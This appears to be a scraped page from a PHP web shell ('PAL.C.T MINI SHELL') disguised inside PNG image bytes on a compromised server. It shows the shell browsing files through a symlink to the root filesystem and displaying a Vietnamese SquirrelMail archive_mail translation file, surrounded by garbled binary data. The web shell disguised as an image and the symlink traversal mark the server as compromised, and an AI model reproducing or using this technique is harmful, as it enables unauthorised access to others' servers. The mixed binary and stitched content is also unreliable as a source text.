php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/vi_VN/LC_MESSAGES/
upload
files >> //var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/vi_VN/LC_MESSAGES/archive_mail.po

# Vietnamese (vi) archive_mail Translation (SquirrelMail plugin)
# Copyright © 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Clytie Siddall <clytie@riverland.net.au>, 2008.
# $Id: archive_mail.pot 10877 2006-03-04 11:22:22Z jervfors $
#
msgid ""
msgstr ""
"Project-Id-Version: archive_mail 1.2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2004-07-31 11:09+0300\n"
"PO-Revision-Date: 2007-07-29 22:42+0930\n"
"Last-Translator: Clytie Siddall <clytie@riverland.net.au>\n"
"Language-Team: Vietnamese <vi-VN@googlegroups.com>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: LocFactoryEditor 1.6.4a5\n"

#: ../includes/archive_mail_bottom.php:28
msgid "Archive disabled (zlib not supported)"
msgstr ""
"Kho bị tắt (zlib không được hỗ trợ)"

#: ../includes/archive_mail.php:27
#: ../includes/archive_mail_bottom.php:32
msgid "Archive"
msgstr "Kho"

#: ../includes/display_inside.php:39
msgid "Format Emails as"
msgstr "Định dạng thư là"

#: ../includes/display_inside.php:45
msgid "EML Messages"
msgstr "Thư EML"

#: ../includes/display_inside.php:50
msgid "Mbox"
msgstr "Mbox"

#: ../includes/display_inside.php:55
msgid "Maildir"
msgstr "Maildir"

#: ../includes/display_inside.php:65
msgid "Separate Entities"
msgstr "Thực thể riêng"

#: ../includes/display_inside.php:70
msgid "Save Attachments"
msgstr ""
"Lưu các đồ đính kèm"

#: ../includes/display_inside.php:74
msgid "Yes"
msgstr "Có"

#: ../includes/display_inside.php:77
msgid "No"
msgstr "Không"

#: ../includes/display_inside.php:80
#: ../includes/display_inside.php:188
msgid "Save"
msgstr "Lưu"

#: ../includes/display_inside.php:87
msgid "Separate Entities Options"
msgstr ""
"Tùy chọn Thực thể Riêng"

#: ../includes/display_inside.php:90
msgid "EML Messages Options"
msgstr "Tùy chọn Thư EML"

#: ../includes/display_inside.php:93
msgid "Mbox Options"
msgstr "Tùy chọn Mbox"

#: ../includes/display_inside.php:96
msgid "Maildir Options"
msgstr "Tùy chọn Maildir"

#: ../includes/display_inside.php:102
msgid "Compress Type"
msgstr "Kiểu nén"

#: ../includes/display_inside.php:108
msgid "Tar"
msgstr ""
"Tar"

#: ../includes/display_inside.php:113
msgid "Tar.GZ"
msgstr "Tar.GZ"

#: ../includes/display_inside.php:119
msgid "Text"
msgstr "Văn bản"

#: ../includes/display_inside.php:125
msgid "Zip"
msgstr "Zip"

#: ../includes/display_inside.php:131
msgid "Email Filename"
msgstr "Tên tập tin thư điện thư"

#: ../includes/display_inside.php:137
msgid "Numbered"
msgstr "Đánh số"

#: ../includes/display_inside.php:142
#: ../includes/display_inside.php:147
#: ../includes/display_inside.php:152
#: ../includes/display_inside.php:162
#: ../includes/display_inside.php:182
#: ../includes/formats/separate.php:105
#: ../includes/formats/separate.php:110
#: ../includes/formats/separate.php:118
msgid "Date"
msgstr "Ngày"

#: ../includes/display_inside.php:147
#: ../includes/display_inside.php:157
#: ../includes/display_inside.php:162
#: ../includes/display_inside.php:167
#: ../includes/display_inside.php:177
msgid "Email"
msgstr "Địa chỉ thư"

#: ../includes/display_inside.php:152
#: ../includes/display_inside.php:167
#: ../includes/display_inside.php:172
#: ../includes/display_inside.php:177
#: ../includes/display_inside.php:182
#: ../includes/formats/separate.php:102
#: ../includes/formats/separate.php:107
#: ../includes/formats/separate.php:112
msgid "Subject"
msgstr "Chủ đề"

#: ../includes/display_options.php:23
msgid "Archive Settings"
msgstr "Thiết lập kho"

#: ../includes/display_options.php:25
msgid "These settings allow you to modify the way you archive messages."
msgstr "Thiết lập này cho phép bạn sửa đổi cách lưu trữ các thư."

#: ../includes/formats/separate.php:25
msgid "m/d/Y g:i a"
msgstr "m/d/Y g:i a"

#: ../includes/formats/separate.php:42
msgid "No Subject"
msgstr "Không có Chủ đề"

#: ../includes/formats/separate.php:103
#: ../includes/formats/separate.php:108
#: ../includes/formats/separate.php:114
msgid "From"
msgstr "Từ"

#: ../includes/formats/separate.php:104
#: ../includes/formats/separate.php:109
#: ../includes/formats/separate.php:116
msgid "To"
msgstr "Cho"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`